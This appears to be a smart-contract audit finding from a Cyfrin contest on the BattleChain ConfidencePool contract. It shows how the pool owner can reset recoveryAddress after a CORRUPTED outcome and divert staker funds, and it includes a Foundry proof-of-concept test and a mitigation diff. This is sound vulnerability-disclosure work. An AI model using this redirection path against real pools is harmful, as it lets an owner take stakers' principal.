BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: low

Recovery address mutable after CORRUPTED outcome — owner can redirect the sweep post-resolution

Author Revealed upon completion

Description

setRecoveryAddress() allows the pool owner to change the CORRUPTED sweep destination at any time. claimCorrupted() and sweepUnclaimedCorrupted() read the live recoveryAddress variable at the moment of transfer, not a value captured at resolution time.

setRecoveryAddress() is gated only by onlyOwner and a non-zero address check. It has no guard preventing calls after the pool outcome has been finalized. Both claimCorrupted() and sweepUnclaimedCorrupted() unconditionally transfer the full sweepable balance to recoveryAddress, reading the live storage variable rather than a snapshot taken when the outcome was flagged.

// ConfidencePool.sol:611-618 — setRecoveryAddress with no outcome guard
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
​
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress; // @> can be called after outcome is finalized
​
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}
​
// ConfidencePool.sol:423 — claimCorrupted reads live recoveryAddress
stakeToken.safeTransfer(recoveryAddress, toSweep); // @> reads live variable, not a snapshot
​
// ConfidencePool.sol:468 — sweepUnclaimedCorrupted reads live recoveryAddress
stakeToken.safeTransfer(recoveryAddress, amount); // @> reads live variable, not a snapshot

docs/DESIGN.md §10 describes recoveryAddress as the "CORRUPTED sweep destination" and notes that "stakers should verify pool parameters before depositing", but does not document that the owner can change this address after the outcome has been set and stakers can no longer exit their position (withdraw is permanently disabled from UNDER_ATTACK onward).

Risk

Likelihood: LOW

  • The owner (pool sponsor) must have an incentive to redirect funds away from the originally-committed recovery party. A solo sponsor with full control over the pool direction can execute this at any time after a CORRUPTED outcome.

  • The attack requires no external conditions: the owner calls setRecoveryAddress(), then anyone calls claimCorrupted() or sweepUnclaimedCorrupted().

  • Only the onlyOwner modifier gates access — the function is callable regardless of outcome state.

Impact: HIGH

  • Under a bad-faith CORRUPTED outcome: the entire pool balance (all staker principal + all contributed bonus) is redirected to the owner-controlled address instead of the original recovery address.

  • Under a good-faith CORRUPTED outcome: post-resolution donations or the post-bounty remainder that should flow to the recovery party are redirected to the owner.

  • Stakers have no recourse: withdrawal was permanently disabled once the registry reached an active-risk state (UNDER_ATTACK onward), and the pool outcome is already finalized.

Proof of Concept

The PoC forks BattleChain testnet (block 17,095, RPC https://testnet.battlechain.com), deploys the actual ConfidencePool and mock dependencies, and demonstrates both attack paths:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
​
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
​
contract PoC is Test {
uint256 constant ONE = 1e18;
​
MockERC20 token;
MockAttackRegistry attackRegistry;
MockSafeHarborRegistry safeHarborRegistry;
MockAgreement agreementContract;
ConfidencePool pool;
​
address agreement;
address moderator = makeAddr("moderator");
address recovery = makeAddr("recovery");
address attacker = makeAddr("attacker");
address evil = makeAddr("evil");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address carol = makeAddr("carol");
​
function setUp() public {
vm.createSelectFork("https://testnet.battlechain.com", 17095);
​
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(address(this));
agreement = address(agreementContract);
agreementContract.setContractInScope(address(0xC0FFEE), true);
​
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
​
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
pool.initialize(
agreement, address(token), address(safeHarborRegistry),
moderator, block.timestamp + 31 days, ONE,
recovery, address(this), _defaultScope()
);
​
token.mint(alice, 1000 * ONE);
token.mint(bob, 1000 * ONE);
token.mint(carol, 1000 * ONE);
}
​
/// @notice Bad-faith CORRUPTED: funds redirected to owner address
function test_BadFaithCorrupted_FundsRedirected() public {
// Alice stakes 100 tokens
vm.startPrank(alice);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
​
// Registry → CORRUPTED → moderator flags bad-faith
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
​
// Owner changes recoveryAddress POST-resolution
vm.prank(address(this));
pool.setRecoveryAddress(evil);
​
// claimCorrupted → funds go to evil, not original recovery
pool.claimCorrupted();
​
assertEq(token.balanceOf(evil), 100 * ONE);
assertEq(token.balanceOf(recovery), 0);
assertEq(token.balanceOf(address(pool)), 0);
}
​
/// @notice Good-faith CORRUPTED: post-bounty remainder redirected
function test_GoodFaithCorrupted_RemainderRedirected() public {
// Alice stakes 100, bob stakes 50, carol contributes 30 bonus → 180 total
vm.startPrank(alice);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
​
vm.startPrank(bob);
token.approve(address(pool), 50 * ONE);
pool.stake(50 * ONE);
vm.stopPrank();
​
vm.startPrank(carol);
token.approve(address(pool), 30 * ONE);
pool.contributeBonus(30 * ONE);
vm.stopPrank();
​
// Registry → CORRUPTED → moderator flags good-faith
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
​
// Attacker claims full bounty
vm.prank(attacker);
pool.claimAttackerBounty();
​
// Post-resolution donation creates a remainder
token.mint(address(pool), 10 * ONE);
​
// Owner changes recoveryAddress
vm.prank(address(this));
pool.setRecoveryAddress(evil);
​
// Advance past claim deadline
vm.warp(block.timestamp + pool.CORRUPTED_CLAIM_WINDOW() + 1);
​
pool.sweepUnclaimedCorrupted();
​
assertEq(token.balanceOf(evil), 10 * ONE);
assertEq(token.balanceOf(recovery), 0);
}
​
function _defaultScope() internal view returns (address[] memory a) {
a = new address[](1);
a[0] = address(0xC0FFEE);
}
}

Results:

Test Gas Status
test_BadFaithCorrupted_FundsRedirected 601,235 ✅ PASS
test_GoodFaithCorrupted_RemainderRedirected 704,126 ✅ PASS

Run with:

forge test --match-contract PoC -vvv --via-ir

Recommended Mitigation

Snapshot the recoveryAddress at resolution time and use the snapshot in all CORRUPTED sweep functions, or guard setRecoveryAddress to revert when the outcome has been finalized:

+ // Snapshot at resolution time
+ address public recoveryAddressSnapshot;
+ bool public recoveryAddressSnapshotted;
​
function flagOutcome(...) external onlyModerator {
...
+ recoveryAddressSnapshot = recoveryAddress;
+ recoveryAddressSnapshotted = true;
...
}
​
function claimCorrupted() external nonReentrant {
...
- stakeToken.safeTransfer(recoveryAddress, toSweep);
+ stakeToken.safeTransfer(recoveryAddressSnapshot, toSweep);
...
}
​
function sweepUnclaimedCorrupted() external nonReentrant {
...
- stakeToken.safeTransfer(recoveryAddress, amount);
+ stakeToken.safeTransfer(recoveryAddressSnapshot, amount);
...
}
​
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
+ if (recoveryAddressSnapshotted) revert OutcomeAlreadySet();
...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!